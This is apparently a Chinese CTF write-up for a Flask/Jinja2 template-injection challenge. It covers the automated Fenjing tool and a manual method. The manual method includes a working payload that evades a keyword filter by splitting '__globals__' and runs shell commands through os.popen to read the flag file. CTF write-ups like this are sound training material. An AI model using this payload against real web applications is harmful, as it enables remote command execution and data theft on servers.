两种方法:
1.工具法
进来看见flask到处飘,估计就是ssti
ctrl+U打开发现两行注释提示GET方式传递参数search
这种有参数的我先直接丢fengjing扫了一下,结果还真搞出来,这工具还是挺牛的,就是没参数的时候搞不了
fengjing安装:项目地址:
Marven11/Fenjing: 专为CTF设计的Jinja2 SSTI全自动绕WAF脚本 | A Jinja2 SSTI cracker for bypassing WAF, designed for CTF (github.com)
下载好后安装requirements.txt,先cd到项目目录下
pip install -r requirements.txt -i https://pypi.mirrors.ustc.edu.cn/simple/
python -m fenjing webui
进入web界面输入前三个参数,表单输入就是刚才的search参数
最后下滑点击开始分析
分析完后右边会提示你输入可以输入命令自动生成payload
最终查看flag命令
cat /flasklight/coomme_geeeett_youur_flek
2.手工ssti
先判断是什么模版引擎,jinja还是twig
下面是判断模版注入的方法
输入{{7*‘7’}},返回49表示是 Twig 模块
输入{{7*‘7’}},返回7777777表示是 Jinjia2 模块
返回7777777表示是 Jinjia2 模块
输入{{config}}查看配置发现提示flag就在当前目录下
经过尝试发现是过滤了globals导致500状态码,使用字典访问符号['__g''lobals__']
来绕过.
运算符
或者中间加个+号也可以['__glo'+'bals__']
最终payload:(popen里面可以改变命令自己看看目录)
{{[].__class__.__bases__[0].__subclasses__()[59].__init__['__glo''bals__']['__builtins__']['eval']("__import__('os').popen('head /flasklight/coomme_geeeett_youur_flek').read()")}}